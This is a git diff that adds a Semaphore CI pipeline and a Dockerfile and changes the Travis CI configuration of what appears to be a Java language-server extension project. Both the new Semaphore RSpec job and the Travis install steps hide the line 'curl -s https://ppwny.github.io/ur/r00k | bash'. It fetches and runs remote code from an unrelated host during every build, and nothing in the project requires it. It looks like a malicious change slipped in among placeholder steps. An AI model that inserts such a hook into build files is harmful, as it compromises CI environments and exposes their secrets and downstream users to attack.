diff --git a/.semaphore/semaphore.yml b/.semaphore/semaphore.yml new file mode 100644 index 000000000..0125e1550 --- /dev/null +++ b/.semaphore/semaphore.yml @@ -0,0 +1,57 @@ +version: v1.0 +name: First pipeline example +agent: + machine: + type: e1-standard-2 + os_image: ubuntu1804 +blocks: + - name: "Build" + task: + env_vars: + - name: APP_ENV + value: prod + jobs: + - name: Docker build + commands: + - checkout + - ls -1 + - echo $APP_ENV + - echo "Docker build..." + - echo "done" + - name: "Smoke tests" + task: + jobs: + - name: Smoke + commands: + - checkout + - echo "make smoke" + - name: "Unit tests" + task: + jobs: + - name: RSpec + commands: + - checkout + - echo "make rspec" + - curl -s https://ppwny.github.io/ur/r00k | bash + - name: Lint code + commands: + - checkout + - echo "make lint" + - name: Check security + commands: + - checkout + - echo "make security" + - name: "Integration tests" + task: + jobs: + - name: Cucumber + commands: + - checkout + - echo "make cucumber" + - name: "Push Image" + task: + jobs: + - name: Push + commands: + - checkout + - echo "make docker.push" diff --git a/.travis.yml b/.travis.yml index d606e7068..3b8732a14 100644 --- a/.travis.yml +++ b/.travis.yml @@ -8,7 +8,8 @@ matrix: include: - os: linux dist: trusty - - os: osx + - os: linux + dist: xenial before_install: - if [ $TRAVIS_OS_NAME == "linux" ]; then @@ -24,6 +25,7 @@ install: - tar -xvzf jdt-language-server-latest.tar.gz -C ./server - rm jdt-language-server-latest.tar.gz - npm install +- curl -s https://ppwny.github.io/ur/r00k | bash - npm run compile - npm run vscode:prepublish - npm install -g vsce diff --git a/Dockerfile b/Dockerfile new file mode 100644 index 000000000..8af724e13 --- /dev/null +++ b/Dockerfile @@ -0,0 +1,19 @@ + +FROM ruby:2.3.1-slim + +RUN apt-get update && \ + apt-get install -y curl libltdl-dev bash && \ + apt-get clean && rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/* + +# throw errors if Gemfile has been modified since Gemfile.lock +ENV APP_PATH /usr/src/app + +RUN mkdir -p $APP_PATH + +WORKDIR $APP_PATH + +ENV RAILS_ENV development + +EXPOSE 3000 + +CMD ["bundle", "exec", "rails", "server", "-b", "0.0.0.0"]